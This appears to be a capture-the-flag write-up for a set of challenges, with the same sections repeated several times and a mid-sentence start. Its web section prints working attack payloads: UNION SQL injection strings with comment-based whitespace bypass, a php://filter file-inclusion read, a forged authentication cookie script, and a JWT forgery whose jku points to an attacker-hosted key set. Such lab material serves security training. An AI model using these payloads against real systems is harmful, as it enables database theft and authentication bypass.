Interesting. Fuzzing a little the search input I received an error message from MySQL. Nice.Still, something was odd. Adding the debug parameter in my GET request I saw that the whitespaces were removed. For example, searching for `gone home` returned me this:
After playing a liitle around I discovered that I can use `/**/` instead of spaces and it will work just fine.At this point is just a common SQL Injection attack were all the wite spaces are replaced with `/**/`.Payload | Information gained------- | ------------------`"order/**/ by/**/2#` | Single column queried`"union/**/select/**/schema_name/**/from/**/information_schema.schemata#` | Database name: rejected_sequel`"union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema="rejected_sequel"#` | Two tables: *flag*, *movies*`"union/**/select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name="flag"#` | Columns from flag table: *flag*`"union/**/select/**/flag/**/from/**/flag#` | The values from the column *flag* from table *flag*
Flag: flag{at_least_this_sequel_got_published}
## Flag JokesPoints: 200
#### Description
>Want to hear a joke? Want the flag? How about both? Why don't YOU tell me a joke!>>Note, it is recommended to clear your cookies for this challenge as some may have the same names used in other challenges.>>Connect here:>http://jh2i.com:50010
### Solution
The page displays a form where you can login by only providing an username. We need to login as admin, but we can't do it directly.Providing any other username we are prompted with the next page:
Let's take a look at what cookie we have. It seems that the authentication mechanism is based on JWT. Puttin the value in Burp we get the next output:
Reading this article https://medium.com/swlh/hacking-json-web-tokens-jwts-9122efe91e4a I thought that maybe this token is exploitable by changing the *jku* value.Using https://github.com/ticarpi/jwt_tool I tried to exploit it by first changing the username into *admin* and after that by generating a new JSON Web Keys Set.The output from JWT_tool.py:```textYour new forged token:(Signed with: private_jwttool_RSA_1592044374.pem)[+] eyJhbGciOiJSUzI1NiIsImprdSI6Imh0dHBzOi8vZW5hYTBpaGoxdW91dDZqLm0ucGlwZWRyZWFtLm5ldC9qd2tzLmpzb24iLCJraWQiOiJrZXlpZHNhbXBsZSJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.K0hK28hR4wPhRch7PrQ-eh8mM_8_zewdL1ErHg-YCvqdypTl4eRN_fvol9fG7PAORYOzfWEHM3OuiGGg6Jd22Ii8xz025rb_0vhRO7kdZVgKEJblAUd8shJjCe3WmT_HEj83LPg0OhhRqD3QpcWgu62mvVuL-vKXIE13gz1wjT_PzVH4O6jqgIFj-WC5WMgOxP3-NiybAnORlCzpzv31qeWoAawXgiiC_PFlAZfjOfREHa8kSR_mufjOhgEbjO9fZsMrm7KJQzQup8O1OFzmdjiaScmsw8e-Bbo66QSkPoonbpDmLu9v8aUH1v4waDZ0IoutdMY2ItbVQ5IbRXv2OQ
Paste this JWKS into a new file at the following location: https://enaa0ihj1uout6j.m.pipedream.net/jwks.json(Also exported as: jwks_jwttool_RSA_1592044374.json)[+]{ "kty":"RSA", "kid":"keyidsample", "use":"sig", "e":"AQAB", "n":"t_VtloNSQtuAB8wxqlfXGiDRPO2rUG1-BgMidCPKay6efk-yUOV15k1-mtcOfukyzy41FhuG_Izk8qk5tSbl0vzG6el0bm4gkq7cT_vZF3buFVnu77d7-_we8imyNKimqanzbmdQeLNl8PpOME2xrZIGPZEG9tsXoIbtrnAjKHlqnxAdETPv9crzDzTJDRdVhOifTD7OqV6edsRlCZVnS5XwGstsbMBKAfSjfe3OIjj-5e6cX_wHsGPIMrN4xR41Lz0nbwIG3djYHL5fbKiLuEMJFS9NzBwcoLfYq6Xer2C5coTn5cUJLUpGKrg7lSZo2SvZLFzegq0gOPwmIfDpkQ"}
``` I hosted the content key inside a flow from https://pipedream.com/ and set the new token in browser.
After hitting refresh I got the flag. 
Flag: flag{whoops_typo_shoulda_been_flag_jwks} # Scripting ## Rotten Points: 100 #### Description>Ick, this salad doesn't taste too good!>>Connect with:>nc jh2i.com 50034
### Solution Running nc jh2i.com 50034 we are asked to return exactly the response. > send back this line exactly. no flag here, just filler. After doing so for a few times we get `jveu srtb kyzj czev vortkcp. ef wcrx yviv, aljk wzccvi.` which seems to be a variation of ROT13 or Ceaser cypher. Sending exactly this message back will close the connection, so we need to decode it first and only afterwards send it. PLaying a liitle more I received the next message: > fraq onpx guvf yvar rknpgyl. punenpgre 2 bs gur synt vf 'n' Which decoded with ROT13 will become `send back this line exactly. character 2 of the flag is 'a'`. Nice, so we got an idea of how this works. We need to keep replying with the decoded line and extract the chars for building the flag on the way. The implementation for the ROTN decoding function is from here: https://eddmann.com/posts/implementing-rot13-and-rot-n-caesar-ciphers-in-python/ My final script: ```pythonimport pwnimport refrom string import ascii_lowercase as lc, ascii_lowercase as uc
def rot_alpha(n): lookup = str.maketrans(lc + uc, lc[n:] + lc[:n] + uc[n:] + uc[:n]) return lambda s: s.translate(lookup)
flag = dict()base_positoin = ascii_lowercase.find('s')r_position = re.compile('[0-9]{1,2}')r_letter = re.compile('\'.\'')
conn = pwn.remote('jh2i.com', 50034)line = conn.recvline()conn.send(line)
while True: rotted = conn.recvline().decode('utf-8') rot_letter = lc.find(rotted[0]) rot_number = base_positoin - rot_letter reversed_line = rot_alpha(rot_number)(rotted) if len(r_position.findall(reversed_line)) > 0: key = r_position.findall(reversed_line)[0] value = r_letter.findall(reversed_line)[0].replace('\'', '') flag[key] = value conn.send(reversed_line)``` Since I don't know th size of the flag I opted for running in debug mode and trying to build the flag after a few minutes. 
Flag: flag{now_you_know_your_caesars}
## Miscellaneous### VortexPoints: 75#### Description>Will you find the flag, or get lost in the vortex?>>Connect here:>nc jh2i.com 50017
### SolutionConnecting with netcat we get a lot of garbage. I let it connected for 1 minute and I received in continue chunk of bytes. So, my guess is that we need to find the flag in all that mess.
This small script will do the job:
```pythonimport pwn
conn = pwn.remote('jh2i.com', 50017)line = b''
while True: if b'flag' in line: print(line) break
line = conn.recvline()
conn.close()```
Flag: flag{more_text_in_the_vortex}
## Fake FilePoints: 100#### Description>Wait... where is the flag?>>Connect here:>nc jh2i.com 50026
### SolutionConnecting with netcat we get a bash. Poking around I couldn't find anything interesting so I went with `grep -r flag{ /` and we find the flag in `/home/user/..`.
Flag: flag{we_should_have_been_worried_about_u2k_not_y2k}
## AlkatrazPoints: 100#### Description>We are so restricted here in Alkatraz. Can you help us break out?>>Connect here:>nc jh2i.com 50024
### SolutionConnecting with netcat we get a bash, but we only have access to `ls` command. We are also restricted to run commands if `/` is in theirs names.
We solve this by reading the file with bash scripting.
Flag: flag{congrats_you_just_escaped_alkatraz}
# Mobile## CandroidPoints: 50#### Description>I think I can, I think I can!>>Download the file below.
### SolutionWe are given an apk file. I tried running strings on it and it gave me the flag.
Flag: flag{4ndr0id_1s_3asy}
## Simple AppPoints: 50#### Description>Here's a simple Android app. Can you get the flag?>>Download the file below.
### SolutionWe are given an apk file. I decompiled it using `apktool d simple-app.apk` and after that I ran `grep -r flag{ .` and got the flag.
Flag: flag{3asY_4ndr0id_r3vers1ng}
# Forensics## MicrosoftPoints: 100#### Description>We have to use Microsoft Word at the office!? Oof...>>Download the file below.
### SolutionWe are given a .docx file. Running file we see that is a `Microsoft OOXML` file, so nothing interesting. We try running binwalk to see if there are hidden files inside. We are in luck, there are. Now we run `grep -r flag .` inside the extracted directory and we get the flag:>./src/oof.txt:Sed eget sem mi. Nunc ornare tincidunt nulla quis imperdiet. Donec quis dignissim lorem, vel dictum felis. Morbi blandit dapibus lorem nec blandit. Pellentesque ornare auctor est, vitae ultrices nulla efficitur quis. *flag{oof_is_right_why_gfxdata_though}* Morbi vel velit vel sem malesuada volutpat interdum ut elit. Duis orci nisl, suscipit non maximus sit amet, consectetur at diam. Vestibulum cursus odio vitae eros mollis sodales. Ut scelerisque magna diam, sit amet porttitor massa tincidunt tempus. Vivamus libero nulla, facilisis id faucibus sit amet, ultricies non dolor. Maecenas ornare viverra dui, nec vestibulum nisl pretium id. Nam fringilla maximus quam non porttitor. Curabitur eget ultricies metus. Nunc hendrerit dolor non nulla volutpat sollicitudin. Suspendisse hendrerit odio nec luctus venenatis. Nullam lobortis fringilla aliquam.
Flag: flag{oof_is_right_why_gfxdata_though}
# Steganography## KstegPoints: 50#### Description> This must be a typo.... it was kust one letter away!>>Download the file below.
### SolutionWe are given a jpg file. I tried running some tools, but nothing was working. Reading again the description I see that they misspelled `just` by writing `kust`. I also thought that the title challenge was the tool that was used, but I couldn't find it. Putting it all togheter, the tool must be called `jsteg`, not `ksteg`.This is the repository of the tool: https://github.com/lukechampine/jstegRunning `jsteg reveal luke.jpg` gave us the flag.
Flag: flag{yeast_bit_steganography_oops_another_typo}
## DohPoints: 50#### Description>Doh! Stupid steganography...>>Note, this flag is not in the usual format.>>Download the file below.
### SolutionWe are given a jpg file. We try running steghide to extract whatever might be hidden. First, we try it without a password. We're in luck. Steghide extracted the `flag.txt` file.
Flag: JCTF{an_annoyed_grunt} |
##### Table of Contents- [Web](#web) - [Agent 95](#agent95) - [Localghost](#localghost) - [Phphonebook](#phphonebook) - [Official Business](#official-business) - [Extraterrestrial](#extraterrestrial) - [Rejected Sequel](#rejected-sequel) - [Flag jokes](#flag-jokes)- [Scripting](#Scripting) - [Rotten](#Rotten)- [Miscellaneous](#Miscellaneous) - [Vortex](#Vortex) - [Fake File](#Fake-File) - [Alkatraz](#Alkatraz)- [Mobile](#Mobile) - [Candroid](#Candroid) - [Simple App](#Simple-App)- [Forensics](#Forensics) - [Microsoft](#Microsoft)- [Steganography](#Steganography) - [Ksteg](#Ksteg) - [Doh](#Doh)<hr>
# Web## Agent 95Points: 50
#### Description>They've given you a number, and taken away your name~>>Connect here:>http://jh2i.com:50000
### Solution
After accessing the site we get the next message: "You don't look like our agent!We will only give our flag to our Agent 95! He is still running an old version of Windows..."
My guess is that we need to temper the User-Agent HTTP header with the value Windows 95. Doing so in Burp, we get the flag.
Flag: flag{user_agents_undercover}
## LocalghostPoints: 75
#### Description>BooOooOooOOoo! This spooOoOooky client-side cooOoOode sure is scary! What spoOoOoOoky secrets does he have in stooOoOoOore??>>Connect here:>http://jh2i.com:50003>>Note, this flag is not in the usual format.
### SolutionLooking around the page there is nothing interesting, but reading again the description I figure that there might be something in the local storage. Going there, I got the flag.
Flag: JCTF{spoooooky_ghosts_in_storage}
## PhphonebookPoints: 100
#### Description>Ring ring! Need to look up a number? This phonebook has got you covered! But you will only get a flag if it is an emergency!>>Connect here:>http://jh2i.com:50002
### Solution
The web page displays the next message: >Sorry! You are in /index.php/?file=>>The phonebook is located at phphonebook.php
Going to `http://jh2i.com:50002/index.php/?file=phphonebook.php` we can see that there's not much going on, so we need more information. Seeing the `file` parameter I though I can do a local file inclusion.I tested it with `file=/etc/passwd`, but it didn't work. I didn't give up and tried to do a LFI with php wrappers.Providing the next payload we got the content of phphonebook.php in base64: `http://jh2i.com:50002/index.php/?file=php://filter/convert.base64-encode/resource=phphonebook.php`Base64 string returned: ` PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KICA8aGVhZD4KICAgIDxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4KICAgIDx0aXRsZT5QaHBob25lYm9vazwvdGl0bGU+CiAgICA8bGluayBocmVmPSJtYWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ij4KICA8L2hlYWQ+CgogIDxib2R5IGNsYXNzPSJiZyI+CiAgICA8aDEgaWQ9ImhlYWRlciI+IFdlbGNvbWUgdG8gdGhlIFBocGhvbmVib29rIDwvaDE+CgogICAgPGRpdiBpZD0iaW1fY29udGFpbmVyIj4KCiAgICAgIDxpbWcgc3JjPSJib29rLmpwZyIgd2lkdGg9IjUwJSIgaGVpZ2h0PSIzMCUiLz4KCiAgICAgIDxwIGNsYXNzPSJkZXNjIj4KICAgICAgVGhpcyBwaHBob25lYm9vayB3YXMgbWFkZSB0byBsb29rIHVwIGFsbCBzb3J0cyBvZiBudW1iZXJzISBIYXZlIGZ1bi4uLgogICAgICA8L3A+CgogICAgPC9kaXY+Cjxicj4KPGJyPgogICAgPGRpdj4KICAgICAgPGZvcm0gbWV0aG9kPSJQT1NUIiBhY3Rpb249IiMiPgogICAgICAgIDxsYWJlbCBpZD0iZm9ybV9sYWJlbCI+RW50ZXIgbnVtYmVyOiA8L2xhYmVsPgogICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJudW1iZXIiPgogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJTdWJtaXQiPgogICAgICA8L2Zvcm0+CiAgICA8L2Rpdj4KCiAgICA8ZGl2IGlkPSJwaHBfY29udGFpbmVyIj4KICAgIDw/cGhwCiAgICAgIGV4dHJhY3QoJF9QT1NUKTsKCiAgICAJaWYgKGlzc2V0KCRlbWVyZ2VuY3kpKXsKICAgIAkJZWNobyhmaWxlX2dldF9jb250ZW50cygiL2ZsYWcudHh0IikpOwogICAgCX0KICAgID8+CiAgPC9kaXY+CiAgPC9icj4KICA8L2JyPgogIDwvYnI+CgoKPGRpdiBzdHlsZT0icG9zaXRpb246Zml4ZWQ7IGJvdHRvbToxJTsgbGVmdDoxJTsiPgo8YnI+PGJyPjxicj48YnI+CjxiPiBOT1QgQ0hBTExFTkdFIFJFTEFURUQ6PC9iPjxicj5USEFOSyBZT1UgdG8gSU5USUdSSVRJIGZvciBzdXBwb3J0aW5nIE5haGFtQ29uIGFuZCBOYWhhbUNvbiBDVEYhCjxwPgo8aW1nIHdpZHRoPTYwMHB4IHNyYz0iaHR0cHM6Ly9kMjR3dXE2bzk1MWkyZy5jbG91ZGZyb250Lm5ldC9pbWcvZXZlbnRzL2lkLzQ1Ny80NTc3NDgxMjEvYXNzZXRzL2Y3ZGEwZDcxOGViNzdjODNmNWNiNjIyMWEwNmEyZjQ1LmludGkucG5nIj4KPC9wPgo8L2Rpdj4KCiAgPC9ib2R5Pgo8L2h0bWw+`After decoding it we find out what we need to do fo getting the flag.
Making a POST request to `http://jh2i.com:50002/phphonebook.php` with the body `emergency=true` gave us the flag.
Flag: flag{phon3_numb3r_3xtr4ct3d}
## Official BusinessPoints: 125
#### Description>Are you here on official business? Prove it.>>Connect here:>http://jh2i.com:50006
### SolutionThe main web page shows us a login form and told us that we need to login in as admin to continue.Checking the `robots.txt` file we see the code used for authenticating.Here is the code that makes the login:```[email protected]("/login", methods=["POST"])def login():
user = request.form.get("user", "") password = request.form.get("password", "")
if ( user != "hacker" or hashlib.sha512(bytes(password, "ascii")).digest() != b"hackshackshackshackshackshackshackshackshackshackshackshackshack" ): return abort(403) return do_login(user, password, True)``` As you can see, there's no way we can provide a passwod that will result in that hash. So it must be something else.
```[email protected]("/")def index():
ok, cookie = load_cookie() if not ok: return abort(403)
return render_template( "index.html", user=cookie.get("user", None), admin=cookie.get("admin", None), flag=FLAG, ) def load_cookie():
cookie = {} auth = request.cookies.get("auth") if auth:
try: cookie = json.loads(binascii.unhexlify(auth).decode("utf8")) digest = cookie.pop("digest")
if ( digest != hashlib.sha512( app.secret_key + bytes(json.dumps(cookie, sort_keys=True), "ascii") ).hexdigest() ): return False, {} except: pass
return True, cookie``` At this point it's clear we need to forge the cookie to login as admin.There's a bug in this code. In `do_login` we can see that the value for `cookie["digest"]` is obtained by concatenating the secret key to the rest of the keys from the cookie.The thing is that in `load_cookie` the digest is compared with the sha512 of `secret_key + bytes(json.dumps(cookie, sort_keys=True)` and basically the secret key doesn't matter.We can make a cookie with any values and it will pass the verification from `load_cookie`. The secret key is used wrong here and we can abuse that by crafting our own cookie.I wrote the next script that does that. ```pythonimport binasciiimport hashlibimport json
secret_key = b'suchsecretwow'
def do_login(user, password, admin): cookie = {"user": user, "password": password, "admin": admin} cookie["digest"] = hashlib.sha512( secret_key + bytes(json.dumps(cookie, sort_keys=True), "ascii") ).hexdigest()
cookie_value = binascii.hexlify(json.dumps(cookie).encode("utf8"))
return cookie_value
def load_cookie(user, password): cookie = {} auth = do_login(user, password, True)
if auth:
try: cookie = json.loads(binascii.unhexlify(auth).decode("utf8")) digest = cookie.pop("digest")
if ( digest != hashlib.sha512( secret_key + bytes(json.dumps(cookie, sort_keys=True), "ascii") ).hexdigest() ): return False, {} except: pass
return True, cookie
cookie_t = load_cookie('hacker', 'a')```
After adding the cookie with the value returned by `do_login` from our script we get the flag.
Flag: flag{did_this_even_pass_code_review}
## ExtraterrestrialPoints: 125 #### Description>Have you seen any aliens lately? Let us know!>>The flag is at the start of the solar system.>>Connect here:>http://jh2i.com:50004 ### SolutionWhen accessing the page we are prompted with the next form:
I tried some XSS vectors at first and I got a wierd error. For `` the server returned `Space required`.When I insert `<script>alert(1)</script>` the server returned `array(0) {}`. After some more tries I started thinking that is not about XSS.The next thing that came to my mind was XXE. I went to https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection and tried the first payload for returning a file: `]><root>&tes;;</root>`.That weird arry response from the server not looked like this:
Cool. Reading again the description, we try to use the next info:>The flag is at the start of the solar system.
This must mean that the flag is located under `/`.The payload `]><root>&tes;;</root>` gave us the flag.
Flag: flag{extraterrestrial_extra_entities} ## Rejected Sequel Points: 150 #### Description>Look at all these movie sequels that never got released! Will yours make it through??>>Connect here:>http://jh2i.com:50008 ### Solution Going to the web page we see that we have a form for searching moovies by name. Poking around, I see the next comment: ``
Interesting. Fuzzing a little the search input I received an error message from MySQL. Nice.Still, something was odd. Adding the debug parameter in my GET request I saw that the whitespaces were removed. For example, searching for `gone home` returned me this:
After playing a liitle around I discovered that I can use `/**/` instead of spaces and it will work just fine.At this point is just a common SQL Injection attack were all the wite spaces are replaced with `/**/`.Payload | Information gained------- | ------------------`"order/**/ by/**/2#` | Single column queried`"union/**/select/**/schema_name/**/from/**/information_schema.schemata#` | Database name: rejected_sequel`"union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema="rejected_sequel"#` | Two tables: *flag*, *movies*`"union/**/select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name="flag"#` | Columns from flag table: *flag*`"union/**/select/**/flag/**/from/**/flag#` | The values from the column *flag* from table *flag*
Flag: flag{at_least_this_sequel_got_published}
## Flag JokesPoints: 200
#### Description
>Want to hear a joke? Want the flag? How about both? Why don't YOU tell me a joke!>>Note, it is recommended to clear your cookies for this challenge as some may have the same names used in other challenges.>>Connect here:>http://jh2i.com:50010
### Solution
The page displays a form where you can login by only providing an username. We need to login as admin, but we can't do it directly.Providing any other username we are prompted with the next page:
Let's take a look at what cookie we have. It seems that the authentication mechanism is based on JWT. Puttin the value in Burp we get the next output:
Reading this article https://medium.com/swlh/hacking-json-web-tokens-jwts-9122efe91e4a I thought that maybe this token is exploitable by changing the *jku* value.Using https://github.com/ticarpi/jwt_tool I tried to exploit it by first changing the username into *admin* and after that by generating a new JSON Web Keys Set.The output from JWT_tool.py:```textYour new forged token:(Signed with: private_jwttool_RSA_1592044374.pem)[+] eyJhbGciOiJSUzI1NiIsImprdSI6Imh0dHBzOi8vZW5hYTBpaGoxdW91dDZqLm0ucGlwZWRyZWFtLm5ldC9qd2tzLmpzb24iLCJraWQiOiJrZXlpZHNhbXBsZSJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.K0hK28hR4wPhRch7PrQ-eh8mM_8_zewdL1ErHg-YCvqdypTl4eRN_fvol9fG7PAORYOzfWEHM3OuiGGg6Jd22Ii8xz025rb_0vhRO7kdZVgKEJblAUd8shJjCe3WmT_HEj83LPg0OhhRqD3QpcWgu62mvVuL-vKXIE13gz1wjT_PzVH4O6jqgIFj-WC5WMgOxP3-NiybAnORlCzpzv31qeWoAawXgiiC_PFlAZfjOfREHa8kSR_mufjOhgEbjO9fZsMrm7KJQzQup8O1OFzmdjiaScmsw8e-Bbo66QSkPoonbpDmLu9v8aUH1v4waDZ0IoutdMY2ItbVQ5IbRXv2OQ
Paste this JWKS into a new file at the following location: https://enaa0ihj1uout6j.m.pipedream.net/jwks.json(Also exported as: jwks_jwttool_RSA_1592044374.json)[+]{ "kty":"RSA", "kid":"keyidsample", "use":"sig", "e":"AQAB", "n":"t_VtloNSQtuAB8wxqlfXGiDRPO2rUG1-BgMidCPKay6efk-yUOV15k1-mtcOfukyzy41FhuG_Izk8qk5tSbl0vzG6el0bm4gkq7cT_vZF3buFVnu77d7-_we8imyNKimqanzbmdQeLNl8PpOME2xrZIGPZEG9tsXoIbtrnAjKHlqnxAdETPv9crzDzTJDRdVhOifTD7OqV6edsRlCZVnS5XwGstsbMBKAfSjfe3OIjj-5e6cX_wHsGPIMrN4xR41Lz0nbwIG3djYHL5fbKiLuEMJFS9NzBwcoLfYq6Xer2C5coTn5cUJLUpGKrg7lSZo2SvZLFzegq0gOPwmIfDpkQ"}
``` I hosted the content key inside a flow from https://pipedream.com/ and set the new token in browser.
After hitting refresh I got the flag. 
Flag: flag{whoops_typo_shoulda_been_flag_jwks} # Scripting ## Rotten Points: 100 #### Description>Ick, this salad doesn't taste too good!>>Connect with:>nc jh2i.com 50034
### Solution Running nc jh2i.com 50034 we are asked to return exactly the response. > send back this line exactly. no flag here, just filler. After doing so for a few times we get `jveu srtb kyzj czev vortkcp. ef wcrx yviv, aljk wzccvi.` which seems to be a variation of ROT13 or Ceaser cypher. Sending exactly this message back will close the connection, so we need to decode it first and only afterwards send it. PLaying a liitle more I received the next message: > fraq onpx guvf yvar rknpgyl. punenpgre 2 bs gur synt vf 'n' Which decoded with ROT13 will become `send back this line exactly. character 2 of the flag is 'a'`. Nice, so we got an idea of how this works. We need to keep replying with the decoded line and extract the chars for building the flag on the way. The implementation for the ROTN decoding function is from here: https://eddmann.com/posts/implementing-rot13-and-rot-n-caesar-ciphers-in-python/ My final script: ```pythonimport pwnimport refrom string import ascii_lowercase as lc, ascii_lowercase as uc
def rot_alpha(n): lookup = str.maketrans(lc + uc, lc[n:] + lc[:n] + uc[n:] + uc[:n]) return lambda s: s.translate(lookup)
flag = dict()base_positoin = ascii_lowercase.find('s')r_position = re.compile('[0-9]{1,2}')r_letter = re.compile('\'.\'')
conn = pwn.remote('jh2i.com', 50034)line = conn.recvline()conn.send(line)
while True: rotted = conn.recvline().decode('utf-8') rot_letter = lc.find(rotted[0]) rot_number = base_positoin - rot_letter reversed_line = rot_alpha(rot_number)(rotted) if len(r_position.findall(reversed_line)) > 0: key = r_position.findall(reversed_line)[0] value = r_letter.findall(reversed_line)[0].replace('\'', '') flag[key] = value conn.send(reversed_line)``` Since I don't know th size of the flag I opted for running in debug mode and trying to build the flag after a few minutes. 
Flag: flag{now_you_know_your_caesars}
## Miscellaneous### VortexPoints: 75#### Description>Will you find the flag, or get lost in the vortex?>>Connect here:>nc jh2i.com 50017
### SolutionConnecting with netcat we get a lot of garbage. I let it connected for 1 minute and I received in continue chunk of bytes. So, my guess is that we need to find the flag in all that mess.
This small script will do the job:
```pythonimport pwn
conn = pwn.remote('jh2i.com', 50017)line = b''
while True: if b'flag' in line: print(line) break
line = conn.recvline()
conn.close()```
Flag: flag{more_text_in_the_vortex}
## Fake FilePoints: 100#### Description>Wait... where is the flag?>>Connect here:>nc jh2i.com 50026
### SolutionConnecting with netcat we get a bash. Poking around I couldn't find anything interesting so I went with `grep -r flag{ /` and we find the flag in `/home/user/..`.
Flag: flag{we_should_have_been_worried_about_u2k_not_y2k}
## AlkatrazPoints: 100#### Description>We are so restricted here in Alkatraz. Can you help us break out?>>Connect here:>nc jh2i.com 50024
### SolutionConnecting with netcat we get a bash, but we only have access to `ls` command. We are also restricted to run commands if `/` is in theirs names.
We solve this by reading the file with bash scripting.
Flag: flag{congrats_you_just_escaped_alkatraz}
# Mobile## CandroidPoints: 50#### Description>I think I can, I think I can!>>Download the file below.
### SolutionWe are given an apk file. I tried running strings on it and it gave me the flag.
Flag: flag{4ndr0id_1s_3asy}
## Simple AppPoints: 50#### Description>Here's a simple Android app. Can you get the flag?>>Download the file below.
### SolutionWe are given an apk file. I decompiled it using `apktool d simple-app.apk` and after that I ran `grep -r flag{ .` and got the flag.
Flag: flag{3asY_4ndr0id_r3vers1ng}
# Forensics## MicrosoftPoints: 100#### Description>We have to use Microsoft Word at the office!? Oof...>>Download the file below.
### SolutionWe are given a .docx file. Running file we see that is a `Microsoft OOXML` file, so nothing interesting. We try running binwalk to see if there are hidden files inside. We are in luck, there are. Now we run `grep -r flag .` inside the extracted directory and we get the flag:>./src/oof.txt:Sed eget sem mi. Nunc ornare tincidunt nulla quis imperdiet. Donec quis dignissim lorem, vel dictum felis. Morbi blandit dapibus lorem nec blandit. Pellentesque ornare auctor est, vitae ultrices nulla efficitur quis. *flag{oof_is_right_why_gfxdata_though}* Morbi vel velit vel sem malesuada volutpat interdum ut elit. Duis orci nisl, suscipit non maximus sit amet, consectetur at diam. Vestibulum cursus odio vitae eros mollis sodales. Ut scelerisque magna diam, sit amet porttitor massa tincidunt tempus. Vivamus libero nulla, facilisis id faucibus sit amet, ultricies non dolor. Maecenas ornare viverra dui, nec vestibulum nisl pretium id. Nam fringilla maximus quam non porttitor. Curabitur eget ultricies metus. Nunc hendrerit dolor non nulla volutpat sollicitudin. Suspendisse hendrerit odio nec luctus venenatis. Nullam lobortis fringilla aliquam.
Flag: flag{oof_is_right_why_gfxdata_though}
# Steganography## KstegPoints: 50#### Description> This must be a typo.... it was kust one letter away!>>Download the file below.
### SolutionWe are given a jpg file. I tried running some tools, but nothing was working. Reading again the description I see that they misspelled `just` by writing `kust`. I also thought that the title challenge was the tool that was used, but I couldn't find it. Putting it all togheter, the tool must be called `jsteg`, not `ksteg`.This is the repository of the tool: https://github.com/lukechampine/jstegRunning `jsteg reveal luke.jpg` gave us the flag.
Flag: flag{yeast_bit_steganography_oops_another_typo}
## DohPoints: 50#### Description>Doh! Stupid steganography...>>Note, this flag is not in the usual format.>>Download the file below.
### SolutionWe are given a jpg file. We try running steghide to extract whatever might be hidden. First, we try it without a password. We're in luck. Steghide extracted the `flag.txt` file.
Flag: JCTF{an_annoyed_grunt} |
##### Table of Contents- [Web](#web) - [Agent 95](#agent95) - [Localghost](#localghost) - [Phphonebook](#phphonebook) - [Official Business](#official-business) - [Extraterrestrial](#extraterrestrial) - [Rejected Sequel](#rejected-sequel) - [Flag jokes](#flag-jokes)- [Scripting](#Scripting) - [Rotten](#Rotten)- [Miscellaneous](#Miscellaneous) - [Vortex](#Vortex) - [Fake File](#Fake-File) - [Alkatraz](#Alkatraz)- [Mobile](#Mobile) - [Candroid](#Candroid) - [Simple App](#Simple-App)- [Forensics](#Forensics) - [Microsoft](#Microsoft)- [Steganography](#Steganography) - [Ksteg](#Ksteg) - [Doh](#Doh)<hr>
# Web## Agent 95Points: 50
#### Description>They've given you a number, and taken away your name~>>Connect here:>http://jh2i.com:50000
### Solution
After accessing the site we get the next message: "You don't look like our agent!We will only give our flag to our Agent 95! He is still running an old version of Windows..."
My guess is that we need to temper the User-Agent HTTP header with the value Windows 95. Doing so in Burp, we get the flag.
Flag: flag{user_agents_undercover}
## LocalghostPoints: 75
#### Description>BooOooOooOOoo! This spooOoOooky client-side cooOoOode sure is scary! What spoOoOoOoky secrets does he have in stooOoOoOore??>>Connect here:>http://jh2i.com:50003>>Note, this flag is not in the usual format.
### SolutionLooking around the page there is nothing interesting, but reading again the description I figure that there might be something in the local storage. Going there, I got the flag.
Flag: JCTF{spoooooky_ghosts_in_storage}
## PhphonebookPoints: 100
#### Description>Ring ring! Need to look up a number? This phonebook has got you covered! But you will only get a flag if it is an emergency!>>Connect here:>http://jh2i.com:50002
### Solution
The web page displays the next message: >Sorry! You are in /index.php/?file=>>The phonebook is located at phphonebook.php
Going to `http://jh2i.com:50002/index.php/?file=phphonebook.php` we can see that there's not much going on, so we need more information. Seeing the `file` parameter I though I can do a local file inclusion.I tested it with `file=/etc/passwd`, but it didn't work. I didn't give up and tried to do a LFI with php wrappers.Providing the next payload we got the content of phphonebook.php in base64: `http://jh2i.com:50002/index.php/?file=php://filter/convert.base64-encode/resource=phphonebook.php`Base64 string returned: ` PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KICA8aGVhZD4KICAgIDxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4KICAgIDx0aXRsZT5QaHBob25lYm9vazwvdGl0bGU+CiAgICA8bGluayBocmVmPSJtYWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ij4KICA8L2hlYWQ+CgogIDxib2R5IGNsYXNzPSJiZyI+CiAgICA8aDEgaWQ9ImhlYWRlciI+IFdlbGNvbWUgdG8gdGhlIFBocGhvbmVib29rIDwvaDE+CgogICAgPGRpdiBpZD0iaW1fY29udGFpbmVyIj4KCiAgICAgIDxpbWcgc3JjPSJib29rLmpwZyIgd2lkdGg9IjUwJSIgaGVpZ2h0PSIzMCUiLz4KCiAgICAgIDxwIGNsYXNzPSJkZXNjIj4KICAgICAgVGhpcyBwaHBob25lYm9vayB3YXMgbWFkZSB0byBsb29rIHVwIGFsbCBzb3J0cyBvZiBudW1iZXJzISBIYXZlIGZ1bi4uLgogICAgICA8L3A+CgogICAgPC9kaXY+Cjxicj4KPGJyPgogICAgPGRpdj4KICAgICAgPGZvcm0gbWV0aG9kPSJQT1NUIiBhY3Rpb249IiMiPgogICAgICAgIDxsYWJlbCBpZD0iZm9ybV9sYWJlbCI+RW50ZXIgbnVtYmVyOiA8L2xhYmVsPgogICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJudW1iZXIiPgogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJTdWJtaXQiPgogICAgICA8L2Zvcm0+CiAgICA8L2Rpdj4KCiAgICA8ZGl2IGlkPSJwaHBfY29udGFpbmVyIj4KICAgIDw/cGhwCiAgICAgIGV4dHJhY3QoJF9QT1NUKTsKCiAgICAJaWYgKGlzc2V0KCRlbWVyZ2VuY3kpKXsKICAgIAkJZWNobyhmaWxlX2dldF9jb250ZW50cygiL2ZsYWcudHh0IikpOwogICAgCX0KICAgID8+CiAgPC9kaXY+CiAgPC9icj4KICA8L2JyP